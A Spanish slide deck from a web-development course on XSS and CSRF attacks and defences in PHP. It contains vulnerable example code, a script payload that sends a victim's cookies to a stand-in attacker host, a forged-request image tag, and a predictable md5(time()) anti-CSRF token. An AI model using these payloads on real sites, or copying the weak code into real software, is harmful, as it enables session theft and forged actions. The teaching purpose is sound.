Ataques XSS y CSRF - PowerPoint PPT Presentation

1 / 18
About This Presentation
Title:

Ataques XSS y CSRF

Description:

Ataques XSS y CSRF CI-2413 Desarrollo de Aplicaciones para Internet Seguridad Podremos hablar de aplicaciones web seguras y inseguras. Por definici n una aplicaci n ... – PowerPoint PPT presentation

Number of Views:65
Avg rating:3.0/5.0
Slides: 19
Provided by: Brau64
Category:
Tags: csrf | xss | ataques | csrf

less

Transcript and Presenter's Notes

Title: Ataques XSS y CSRF


1
Ataques XSS y CSRF
  • CI-2413 Desarrollo de Aplicaciones para Internet

2
Seguridad
  • Podremos hablar de aplicaciones web seguras y
    inseguras.
  • Por definición una aplicación web segura es
    aquella que es 100 invulnerable a cualquier tipo
    de ataque.
  • Sobre esta base se pueden considerar las
    aplicaciones web como inseguras.
  • Se verá protección contra dos tipos de ataques.

3
Cross-Site Scripting (XSS)
  • El error fundamental que conduce a
    vulnerabilidades de tipo XSS es tener confianza
    en los datos foráneos.
  • La recomendación general es desconfiar siempre de
    los datos del visitante.
  • Como datos foráneos vamos a considerar cualquier
    dato que reciba el servidor web. V.G. correo
    emitido por un cliente de correo web, un banner
    publicitario, las citas proveidas por XML vía
    HTTP, los datos del visitante, ...

4
Ejemplo de XSS
  • Considere el siguiente formulario
  • ltform action"/registrar.php" method"post"gt
  • ltpgtNombre de usuario ltinput type"text"
    name"reg_usuario" /gtlt/pgt
  • ltpgtEmail ltinput type"text" name"reg_email"
    /gtlt/pgt
  • ltpgtltinput type"submit" value"Registrar" /gt
  • lt/formgt

5
Ejemplo de XSS
  • Ahora considere el siguiente script de inserción
    de los datos
  • if (!get_magic_quotes_gpc())
  • _POST'reg_usuario' addslashes(_POST'reg_us
    uario')
  • _POST'reg_email' addslashes(_POST'reg_emai
    l')
  • sql "insert into users (username, email)
    values ('_POST'reg_usuario '',
    '_POST'reg_email'')"

6
Ejemplo de XSS
  • Imagine el siguiente nombre de usuario
  • ltscriptgtalert('Oh no!')lt/scriptgt
  • Se puede determinar fácilmente que el código
    anterior no es nombre de usuario válido, lo cual
    demuestra que el código que escribimos no es
    siempre prudente.
  • Por supuesto, el peligro de XSS reside en el
    efecto producido cuando los datos son reenviados
    a otros utilizadores.

7
Ejemplo de XSS
  • Despligue por un administrador
  • lttablegt
  • lttrgt
  • ltthgtUsuariolt/thgt
  • ltthgtEmaillt/thgt
  • lt/trgt
  • lt?php
  • if (_SESSION'admin')
  • sql 'select username,email from users'
  • result mysql_query(sql)
  • while (user mysql_fetch_assoc(result))
  • echo "\tlttrgt\n"
  • echo "\t\tlttdgtuser'username'lt/tdgt\n"
  • echo "\t\tlttdgtuser'email'lt/tdgt\n"
  • echo "\tlt/trgt\n"
  • ?gt
  • lt/tablegt

8
Ejemplo de XSS
  • En el ejemplo anterior si los datos no son
    validados antes de ser guardados, el
    administrador podrá ser sujeto de un ataque XSS.

9
Ejemplo de XSS
  • El riesgo es aún más evidente con algún ataque
    más vicioso como el siguiente
  • ltscriptgt
  • document.location 'http//maligno.ejemplo.org/
    roba_cookies.php?cookies' document.cookie
  • lt/scriptgt
  • En este ejemplo, el script distante
    roba_cookies.php puede acceder a los cookies con
    la variable _GET'cookies'. Un vez capturados
    los cookies pueden ser utilizados para lanzar
    ataques de usurpación de identidad, obtener datos
    sensibles, etc.

10
Protegerse contra XSS
  • Filtrar todos los datos foráneos.
  • Utilizar la funcionalidad existente
    htmlentities(), strip_tags, utf8_decode(), etc.
    pueden ayudar a escribir la lógica de filtrado.
  • Solamente autorizar un contenido validado.
  • Utilizar una convención de nombres descriptiva.
  • Ser creativo.

11
Cross-Site Request Forgeries (CSRF)
  • Este tipo de ataques en lugar de explotar la
    confianza del usuario explotan la confianza que
    hace el sitio web a sus usuarios.
  • CSRF implica la simulación de solicitudes HTTP,
    por lo cual es muy importante entender las
    solicitudes HTTP.

12
Ejemplo de CSRF
  • Considere un foro hipotético en
    http//foro.ejemplo.org/ que utiliza el siguiente
    formulario
  • ltform action"/add_post.php"gt
  • ltpgtAsunto ltinput type"text" name"post_subject"
    /gtlt/pgt
  • ltpgtMensaje lttextarea name"post_message"gtlt/texta
    reagtlt/pgt
  • ltpgtltinput type"submit" value"Enviar" /gtlt/pgt
  • lt/formgt

13
Ejemplo de CSRF
  • Dado que en el código anterior no se indicó POST
    una solicitud GET es enviada
  • GET /add_post.php?post_subjectfoopost_messageba
    r HTTP/1.1
  • HOST foro.ejemplo.org
  • Cookie PHPSESSID123456789

14
Ejemplo de CSRF
  • Considere la etiqueta ltimggt siguiente
  • ltimg src"http//foro.ejemplo.org/add_post.php?pos
    t_subjectfoopost_messagebar /gt
  • Cuando un navegador pida esta imagen va a enviar
    exactamente la misma solicitud de la filmina
    anterior. La víctima va a enviar un mensaje en
    el foro y sin darse cuenta.

15
Protegerse contra CSRF
  • Utilizar el método POST en los formularios.
  • Utilizar el arreglo _POST en lugar de las
    variables creadas gracias a register_globals.
  • No simplificar las acciones importantes.
  • Obligar al usuario a utilizar nuestros
    formularios HTML.

16
Protegerse contra CSRF
  • Un ejemplo de técnica para obligar al usuario a
    utilizar nuestros propios formularios es la
    siguiente
  • lt?php
  • token md5(time())
  • _SESSION'token' token
  • _SESSION'token_timestamp' time()
  • ?gt
  • ltform action"/add_post.php"gt
  • ltinput type"hidden" name"token" value"lt?php
    echo token ?gt" /gt
  • ltpgtAsunto ltinput type"text" name"post_subject"
    /gtlt/pgt
  • ltpgtMensaje lttextarea name"post_message"gtlt/texta
    reagtlt/pgt
  • ltpgtltinput type"submit" value"Enviar" /gtlt/pgt
  • lt/formgt

17
Lecturas adicionales
  • PHP Under Attaque presentación sobre XSS y CSRF
  • http//talks.php.net/show/php-under-attack/
  • XSS
  • http//httpd.apache.org/info/css-security/
  • http//www.cgisecurity.com/articles/xss-faq.shtml
  • http//www.php-secure.info/v2/article/XSS.php
  • CSRF
  • http//www.tux.org/peterw/csrf.txt

18
Proyecto de seguridad
  • XSS
  • HTMLfilter es un proyecto para PHP que analiza
    todos los datos HTTP antes de ser utilizados.
Write a Comment
User Comments (0)
About PowerShow.com